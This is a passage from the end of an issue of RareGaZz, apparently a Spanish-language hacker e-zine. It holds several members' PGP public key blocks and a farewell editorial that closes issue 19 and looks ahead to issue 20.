XiAhVsaVAJ4+W32o//aShux+Gz/k2CYqRRZTRg==
=niuY
-----END PGP PUBLIC KEY BLOCK-----
<-->
<++> pgp_r19/ReYDeS.asc
sec+ 2048 0x6789D7C5 2000-12-15 ---------- RSA Sign & Encrypt
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.0i for non-commercial use
mQENAzo6GmoAAAEIAOtVxlSTe6qOAQ6efOSIbcWAYJBszzZp0gKRljfeMhSjTS0V
jEgSKXFcRorCKKo38r+E/7KPbAqpoxexk169NISQO7K43gKWL9WEl4CO5+0GTNLs
JdT3U/r0dE8X0va0GQcP2jnsZIYAA7tDCMVSRMq5Y/yu348gmxnLKDlyMfLyd1UM
ByZ61US9UvRkT9PGMha7FF76AUU/HZSOAyuXzH1rgG3RlNupOc7f+RONgrP9vEMU
zSz0AEytyjOzSyAjy0X1ML/afE5DQJNzDOKEgpMMtDG94pRde8LrJSUlhHw2mh8m
xcaSQ1CjJSfIZD3x2E2gqv93WxGWJbu2GWeJ18UABRG0BlJlWURlU4kBFQMFEDo6
Gmolu7YZZ4nXxQEBjcwIAMKc1q09CuhqXlhzTj8/mGX2o5eG9xKoS/bvqSc5QlYH
ZWbH+WYb1GxrBDWjlIf4TV76vqSdDqMi72GqcwIw5dgeiSyTknwMoNMKbIH6ogxF
K8sQREr6YhDf8frRDLClQH3Qx2m0qYLhMNpz7fhlJoxIzGIXPmpPPvq55obsvfYo
rVLLgZn2TkDJAoLl1On1bTUBTpbNT/tEZZR7qBTqt4SSVQD/7s2+KmZx7xwhwHYh
SNiFWpdXGRmKMjnYF9HlZKan+mw27eujhWcDUOjv82WJ95aS0+BvKqHyBAHCLPmR
sYELhKfJikpiiMgY3QNU8xGNThhZ70m33TfI3EYEUEs=
=feOU
-----END PGP PUBLIC KEY BLOCK-----
<-->
<++> pgp_r19/^Shadown^.asc
pub 1024 0x14A49815 1999-08-10 ---------- DSS Sign & Encrypt
sub 2048 0x5CE351FC 1999-08-10 ---------- Diffie-Hellman
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.0i for non-commercial use
mQGiBDewdE4RBADwVP96nauXxbvLNENeZYrvDVF+L59UygAFN5GyUOlMWKLOCJYX
ETlwkSHdhJ4yK+QXHdT7fVIxFSbUbPA2W1qRg070XGFXZUyd8KzIHRpYXxTfQ4Z9
T8Gy3Ah/Q3ug7ka1mSv+u0s2TLc/zzpn2avlqHDMe9LnNhb/dQuOyxhqHwCg/1PR
wkqWQ6VhvOVr/2WLRHAtQk0D/i0FyzXs4kXudugwi3Wa19yXR3NeJrNTRBYH4Ewe
1G8OCLSKA2i03h0coU9pnvrqSdmXaH3YveZcFyq8BLLPZR0t8CZOLoim2wn8HuSC
rfRR+dLdyGic6Yzkz9xlXIpY8lkW0DFfv2dwgRmU3Uw7vFWYc+cKhhNRQXvIOPBE
b+2LA/0bY6axVCqrgBcIxBdsShQQTCb46koc5/h7p4WuOZJsouhfa/TH2Ao2v5Kg
zYipelHJt3NG2cX+tVWrlCLI++GMrTDdhfpQnzphXmrY8TdDZdLJnoIo4dZNL4XP
nxC5J7s6d+gpiT3JU8Z/v7jXxDLAY9OHm58sfLNjA72uJR49NLQkXlNoYWRvd25e
IDxTaGFkb3duQGJhcmlsb2NoZS5jb20uYXI+iQBOBBARAgAOBQI3sHROBAsDAgEC
GQEACgkQYbpiyBSkmBV5uACg5vp2HtkVBLb/DZ1vfNor4zkydPYAnAp3713OS/yQ
uVKqOQEt+KR0uwUKuQINBDewdE4QCAD2Qle3CH8IF3KiutapQvMF6PlTETlPtvFu
uUs4INoBp1ajFOmPQFXz0AfGy0OplK33TGSGSfgMg71l6RfUodNQ+PVZX9x2Uk89
PY3bzpnhV5JZzf24rnRPxfx2vIPFRzBhznzJZv8V+bv9kV7HAarTW56NoKVyOtQa
8L9GAFgr5fSI/VhOSdvNILSd5JEHNmszbDgNRR0PfIizHHxbLY7288kjwEPwpVsY
jY67VYy4XTjTNP18F1dDox0YbN4zISy1Kv884bEpQBgRjXyEpwpy1obEAxnIByl6
ypUM2Zafq9AKUJsCRtMIPWakXUGfnHy9iUsiGSa6q6Jew1XpMgs7AAICB/9ZMU/n
2QMvtMWRp+o3N8hJXRMzfBWK/Uuq3+ena8VGrHXyoA/9QTNbTCaJTaEUSqtjRBYn
SOJlb9cfvlV5uwNFJYLv4ZHDXGv0TwNZbMjYCL4dWZOY/yaKFg0Ut48iOcyL0bPj
Grn8BrA0odpQXqAhJb7kNlR9iAcQiHzjvbTrF2XwXPknvyhXU5fwl+5LUbaZqNhE
FAA1sFktniOXgYshPqIGtZfQXdHdKl2Zd/K2cnuIAffFKDiHtlfvH4kLs9h5SlSt
cZfXodl+TxcEoELI9dke+HmUuJYqVCRN03znfIIUnDVlc5CyZYMlF/bwGAXwcVei
+1qLyWnJOadmoa6miQBGBBgRAgAGBQI3sHROAAoJEGG6YsgUpJgV/LYAnjQ7sSin
FSdirJmF4F/DCd/8GisYAKCFkOPu67W5Tug8ixlRKFwBIyEdzg==
=i8Hu
-----END PGP PUBLIC KEY BLOCK-----
<-->
<++> pgp_r19/v1k1ng0.asc
pub 1024 0x01085711 2001-03-15 ---------- DSS Sign & Encrypt
sub 1024 0x885B342E 2001-03-15 ---------- Diffie-Hellman
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.0i for non-commercial use
mQGiBDqw0kkRBACe69kZaBaV12cnWTVHMdWcT0HH2pjciM79SCfdmuAKzTeLC7Yp
8kdQSl8V9M28FzlCWGb3Qq27+gt2HObNqLGLcLw1riUrlORVXbNBiBy/QIYX82gu
rU8syfvgtw/pGC9w1q3XtyHlFvwEtroP+QxwRUPBSky1BI7QR1MEGCL0ywCggRIO
3seZGTWfpzIvjjxiOlZYhG8D/Rve0HeryRKST7W6DDsludknI9Kef5uzFfmLsbxQ
qoz1Z/NVzsVpxnKx+/88iJI8QhhL2VVqaCZyct/PI6cMN1J3sAH/dY3G5fEMnHx/
Sc6mS+TJFqvxBXloorXIHYcV/LjKyGWcjwlCOjT3pKdVBJTjAZgygFNU+CKN2V1h
LkhYA/9SZzLexf5KQqizXvkPdu9JsU5eL2QvBoOQsjUwAqJUhANAMayDpmUISYqt
reKHIhHjK2U7JU4ih8vy8hDc62EK70w3nFClTkIPN9d5VowsMM42/DfaFos+yuAU
4IV4AtwTWQy6F+U6LierMv4Ha7tcFyghTkNr0IuRRDTLhA5U9bQedjFrMW5nMCA8
djFrMW5nMEBzb2Z0aG9tZS5uZXQ+iQBWBBMRAgAWBQI6sNJJBAsKBAMDFQMCAxYC
AQIXgAAKCRCuIFD/AQhXEaUjAJ9CAVfbVorE+GJQRm8GrG1w5InmAACfb4RUpwbg
wiB0qTHnQUtyqkQ6it6JAEYEEBECAAYFAjq0/ZgACgkQHkQIZYcutOUAJQCfdNYT
XOCIKQROWzk8dbSOEZ7iaEIAnRt8aI3aIFgrgTBp0IS8MRX/nIEjuQENBDqw0lQQ
BADuIaOAI/kyarVtNf7RamEweW+xHygKdmK3C5pEJvH+l7zteXanR2nOnqAgfgh7
JQTtPXvSgkKsQ5bIKUb4/W+BP/oyox48Dp8nM2Jq8yNSv/jVwCfOnmxdIMGudCvJ
ZSFAzZabQmgF5fGTE29h7m0Z2D1GRpvJLM8dSg0zz3Wq5wAECwP7B1SSZiYxy1e8
rBuWJHUDDBnAOGFgfIxmbdO8B7kkvD9NP/csdQ4Dx1y5flHGDLnzKxmiYoElwE9y
O6axZoqNO+iH465uGRcKRO6gkpD4piMhPNs3cIODVTrqtmJjwE1Rcs2bOglPbxPo
6m786GtrYgN5RtAolPV6Q415ADv3ksmJAEYEGBECAAYFAjqw0lQACgkQriBQ/wEI
VxEyawCfWXoAkjVZgL+yaXSs6CkG7t48/ZoAmwR3kyNDhsbJtHDE2gMuXTowtgMn
=IwBa
-----END PGP PUBLIC KEY BLOCK-----
<-->
<<::RareGaZz::>>
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
: : : :
RGZ_13 Despedida RareGaZz Editor
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
La cuarta etapa de RareGaZz, finaliza con RareGaZz 19. Como se hizo mencion
en la presente Editorial; los integrantes de RareGaZz-Team, ingresamos
a una etapa de desarrollo personal y grupal; para fortalecernos y crecer
muchisimo mas como Grupo que somos.
Los frutos de todo esto; seran percibidos por todos ustedes, a traves de los
diversos mecanismos que tenemos para mantenernos en contacto.
De parte mia y de todos los integrantes del Grupo RareGaZz; agradecemos a
todos vosotros, el interes prestado a RareGaZz durante los 7 a~os de su
existencia.
Esperamos que RareGaZz 19, haya sido de vuestro agrado.
Y sera hasta RareGaZz 20!!!
" Para alguien; a quien le hubiese
gustado; ver mi mas grande sue~o,
hecho realidad... "
A.
<<::RareGaZz::>>